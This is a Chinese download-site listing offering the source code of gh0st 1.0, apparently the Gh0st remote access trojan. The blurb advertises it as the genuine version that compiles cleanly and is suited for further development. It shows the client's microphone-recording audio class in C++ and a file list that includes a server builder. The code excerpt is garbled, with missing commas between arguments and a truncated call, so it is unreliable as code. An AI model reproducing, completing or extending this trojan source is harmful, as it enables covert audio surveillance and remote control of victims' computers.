资源简介
gh0st 1.0 Version原版,真正的gh0st1.0 ,编译无错,已经集成XTP,非仿制版,真正的1.0,通讯很稳定,适合二次开发
代码片段和文件信息
// Audio.cpp: implementation of the CAudio class.
//
//////////////////////////////////////////////////////////////////////
#include “Audio.h“
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CAudio::CAudio()
{
m_hEventWaveIn = CreateEvent(NULL false false NULL);
m_hStartRecord = CreateEvent(NULL false false NULL);
m_hThreadCallBack = NULL;
m_nWaveInIndex = 0;
m_nWaveOutIndex = 0;
m_nBufferLength = 1000; // m_GSMWavefmt.wfx.nSamplesPerSec / 8(bit)
m_bIsWaveInUsed = false;
m_bIsWaveOutUsed = false;
for (int i = 0; i < 2; i++)
{
m_lpInAudioData[i] = new BYTE[m_nBufferLength];
m_lpInAudioHdr[i] = new WAVEHDR;
m_lpOutAudioData[i] = new BYTE[m_nBufferLength];
m_lpOutAudioHdr[i] = new WAVEHDR;
}
memset(&m_GSMWavefmt 0 sizeof(GSM610WAVEFORMAT));
m_GSMWavefmt.wfx.wFormatTag = WAVE_FORMAT_GSM610; // ACM will auto convert wave format
m_GSMWavefmt.wfx.nChannels = 1;
m_GSMWavefmt.wfx.nSamplesPerSec = 8000;
m_GSMWavefmt.wfx.nAvgBytesPerSec = 1625;
m_GSMWavefmt.wfx.nBlockAlign = 65;
m_GSMWavefmt.wfx.wBitsPerSample = 0;
m_GSMWavefmt.wfx.cbSize = 2;
m_GSMWavefmt.wSamplesPerBlock = 320;
}
CAudio::~CAudio()
{
if (m_bIsWaveInUsed)
{
waveInStop(m_hWaveIn);
waveInReset(m_hWaveIn);
for (int i = 0; i < 2; i++)
waveInUnprepareHeader(m_hWaveIn m_lpInAudioHdr[i] sizeof(WAVEHDR));
waveInClose(m_hWaveIn);
TerminateThread(m_hThreadCallBack -1);
}
if (m_bIsWaveOutUsed)
{
waveOutReset(m_hWaveOut);
for (int i = 0; i < 2; i++)
waveOutUnprepareHeader(m_hWaveOut m_lpInAudioHdr[i] sizeof(WAVEHDR));
waveOutClose(m_hWaveOut);
}
for (int i = 0; i < 2; i++)
{
delete [] m_lpInAudioData[i];
delete m_lpInAudioHdr[i];
delete [] m_lpOutAudioData[i];
delete m_lpOutAudioHdr[i];
}
CloseHandle(m_hEventWaveIn);
CloseHandle(m_hStartRecord);
CloseHandle(m_hThreadCallBack);
}
LPBYTE CAudio::getRecordBuffer(LPDWORD lpdwBytes)
{
// Not open WaveIn yet so open it...
if (!m_bIsWaveInUsed && !InitializeWaveIn())
return NULL;
if (lpdwBytes == NULL)
return NULL;
SetEvent(m_hStartRecord);
WaitForSingleobject(m_hEventWaveIn INFINITE);
*lpdwBytes = m_nBufferLength;
return m_lpInAudioData[m_nWaveInIndex];
}
bool CAudio::playBuffer(LPBYTE lpWaveBuffer DWORD dwBytes)
{
if (!m_bIsWaveOutUsed && !InitializeWaveOut())
return NULL;
for (int i = 0; i < dwBytes; i += m_nBufferLength)
{
memcpy(m_lpOutAudioData[m_nWaveOutIndex] lpWaveBuffer m_nBufferLength);
waveOutWrite(m_hWaveOut m_lpOutAudioHdr[m_nWaveOutIndex] sizeof(WAVEHDR));
m_nWaveOutIndex = 1 - m_nWaveOutIndex;
}
return true;
}
bool CAudio::InitializeWaveIn()
{
if (!waveInGetNumDevs())
return false;
MMRESULT mmResult;
DWORD dwThreadID = 0;
m_hThreadCallBack = CreateThread(NULL 0
属性 大小 日期 时间 名称
----------- --------- ---------- ----- ----
文件 5195 2008-03-27 09:23 common\Audio.cpp
文件 1280 2008-03-19 00:31 common\Audio.h
文件 1810 2008-03-25 01:09 common\CursorInfo.h
文件 4226 2010-11-07 19:35 common\macros.h
文件 3636 2008-03-26 03:07 common\VideoCodec.h
文件 7810 2008-01-04 21:42 common\zlib\zconf.h
文件 40900 2008-01-04 21:42 common\zlib\zlib.h
文件 81534 2007-11-14 21:29 common\zlib\zlib.lib
文件 3598 2008-03-27 09:18 gh0st\AudioDlg.cpp
文件 1652 2008-03-19 11:10 gh0st\AudioDlg.h
文件 1595 2008-03-26 16:55 gh0st\BmpToAvi.cpp
文件 796 2008-03-26 16:57 gh0st\BmpToAvi.h
文件 14576 2010-11-12 23:43 gh0st\CD_BUILD_SERVER.cpp
文件 1797 2010-11-12 23:43 gh0st\CD_BUILD_SERVER.h
文件 3805 1999-03-14 13:57 gh0st\CJ60Lib\CJ60Lib\CJ60Lib.clw
文件 4852 1999-03-10 23:46 gh0st\CJ60Lib\CJ60Lib\CJ60lib.cpp
文件 188 1998-11-06 03:35 gh0st\CJ60Lib\CJ60Lib\CJ60lib.def
文件 9546 1999-03-12 18:08 gh0st\CJ60Lib\CJ60Lib\CJ60Lib.dsp
文件 2705 1999-02-01 02:02 gh0st\CJ60Lib\CJ60Lib\CJ60Lib.dsw
文件 40 2008-03-26 19:54 gh0st\CJ60Lib\CJ60Lib\CJ60Lib.positions
文件 4590 1999-02-24 13:14 gh0st\CJ60Lib\CJ60Lib\CJ60Lib.rc
文件 8113 2007-12-31 01:08 gh0st\CJ60Lib\CJ60Lib\CJ60StaticLib.dsp
文件 5959 1999-03-14 01:05 gh0st\CJ60Lib\CJ60Lib\CJCaption.cpp
文件 22780 1999-03-14 15:09 gh0st\CJ60Lib\CJ60Lib\CJControlBar.cpp
文件 8363 1999-03-10 23:46 gh0st\CJ60Lib\CJ60Lib\CJDockBar.cpp
文件 13408 1999-03-10 20:30 gh0st\CJ60Lib\CJ60Lib\CJDockContext.cpp
文件 5794 1999-03-10 23:46 gh0st\CJ60Lib\CJ60Lib\CJExplorerBar.cpp
文件 8673 1999-03-14 14:15 gh0st\CJ60Lib\CJ60Lib\CJFlatButton.cpp
文件 8094 1999-03-13 22:56 gh0st\CJ60Lib\CJ60Lib\CJFlatComboBox.cpp
文件 9253 1999-02-24 19:34 gh0st\CJ60Lib\CJ60Lib\CJFlatHeaderCtrl.cpp
............此处省略3780个文件信息
- 上一篇:Qt的学生管理系统
- 下一篇:STM32F4xx中文参考手册
评论
共有 条评论